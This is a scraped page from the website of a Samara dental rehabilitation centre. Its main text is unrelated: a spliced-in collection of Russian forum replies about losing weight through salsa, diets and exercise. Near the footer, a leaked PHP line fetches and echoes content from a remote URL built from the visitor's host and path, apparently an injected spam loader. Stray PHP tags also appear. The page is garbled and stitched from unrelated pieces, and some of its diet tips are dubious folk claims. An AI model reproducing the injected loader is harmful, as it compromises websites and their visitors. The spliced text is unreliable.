Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Помогите

Скажу так. Худеть надо без фанотизма. Не опасно для жизни те диеты, которые дают гарантию сброса веса не более 2 кг за месяц. Исключить мучное, жирное (кроме рыбы морской), уменьшить сладкое (мёд можно). Гимнастика - пожалуйста. Если есть в возможность заняться латино- американскими танцами (сальса, бочата и др) , то сбросишь свой животик и не только его очень скоро. За месяцок при нормальном образе жизни и нормальной диете (не сидя впроголодь) и занятиях гимнастикой с этим кремом результат будет виден. И запомни- не жрать много! Дели объём еды на 6 раз в день (объём съеденного за 1 раз не более 200 - 250 гр) , отдавай предпочтение овощам, фруктам, не забывай про мясное, рыбное и кисломолочное. И удачи тебе !

Плюс один!!! можно ли похудеть при лактации да запросто, чаще всего так вес и сбрасывают, набранный до родов. Особенно если соблюдать все правила кормежки для кормящей мамы .

От живота лучше всего помогает кручение тяжелого обруча (где-то до 4,5 кг) по часу в день (15 минут крутишь, полчаса отдыхаешь и т. д. ) Также не помешало бы и пресс покачать популярным способом (100 раз в день с перерывами) , чтобы после того как похудеешь косточки не торчали, а было видно мышцы. Правда тяжело может быть с не привычки. А потом очень легко. Крема-это правильно, но они одни не помогут. Кроме этого можете добавить другие упражнения. На счёт того, за какое время можно избавиться от животика, ну это смотря какой животик)
Кроме этого садясь на диету нельзя отказывать себе в белке, жире и углеводах. Всё это должно присутствовать в рационе. При этом, количество жиров и углеводов надо строго контролировать. А утро должно начинаться с 2х стаканов теплой фильтрованной воды воды. Кофе и чай можно пить в неограниченных количествах при условии, что они не будут содержать сахара, молока или сливок. Хотя кофе увлекаться лучше не надо. Его лучше пить утром- он не только помогает взбодриться, но и запускает обмен веществ. Кстати, с 10:00 до 14:00 можно есть практически всё (не превышая 400 калорий) В это время обмен веществ очень активен.
А что бы не съесть очень много всего, перед каждым приёмом пищи за 30 минут надо выпивать стакан воды. Еду лучше пережёвывать очень долго, потому что чувство насыщения наступает только через 20 минут после начала трапезы. Представляете сколько можно съесть за эти 20 минут)) ) Кроме этого более мелкую пищу организму переваривать намного легче. Да кстати, про воду, после еды категорически запрещено пить какую-либо жидкость, потому что вы разбавите желудочный сок и устроите тяжесть в желудке и не только.
Всё вышеперечисленное испробовано на себе, и не то что испробовано, а это мой образ жизни) Да, и воды побольше пейте) 2,5 литра в день, не меньше) А от соков лучше отказаться, ешьте натуральные фрукты, они на 10% менее калорийны чем соки, да и полезнее)

Раньше, когда я не ела сладкого, живота не было совершенно

Танцы-самое то. и настроение, и нет живота, и осанка, и гордость, что я умею танцевать!

Плавать надо, бегать. и пресс покачай. .
подъем ног, лежа на полу, потом ноги
на полу, подъем торса.. ) похудеешь,
как не фиг делать. . желаю успеха..

Ешь меньше и похудеешь

Давайте разберемся, можно ли похудеть, занимаясь аэробикой или степ аэробикой, сколько эти занятия сжигают калорий и как быстрее получить желанный результат.

Ангелина - гимнастикой нужно заниматься всегда
хочешь похудеть быстро - меньше ешь и больше секса

Пресс качай

Крема все такая чушь

Крем не поможет (лишняя трата денег) а занятия определенными упрожнениями и умеренносить в еде дадут результат

Может ли полная девушка как я заниматься танцами ,такими как (брейк данс)

Сальса может быть парной и сольной. Начать заниматься парным видом танца ...Каждая девочка, девушка независимо от возраста и телосложения, может заниматься танцем живота. ..Club dance не ограничивает Вас никакими рамками – предполагается полная ...Break-dance является основой всех современных стилей танца, но, ..
www.divastudio.ru/dance_types/ -
Особенно танец живота. КЛАСС БУДИТЕ СМОТРЕТСЯ (шучу).

Вся правда о похудении и диетах Правда ли что если есть много белка, то можно похудеть. Занимаясь до пота спортом или работая физически, можно похудеть. Здесь не обойд тся без правил не переедать, следить за жирностью пищи...

Не думаю....

Можно ли худеть.занимаясь танцами?Какими нибудь спортивными,энергичными...

В данном случае - лучшее - это СЕКС)) )
причем сверху и не думая о ПОхудении....

Сальса обучение.Можно ли похудеть и ни в чем себе не отказывать? Мой ответ Да! , и доказательством этому служит как мой личный, так и опыт моих клиентов.

В принципе, какими угодно, но не советую танец живота - знакомая немного на них сбросила, а живот остался висеть....

Можно ли похудеть сальса
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта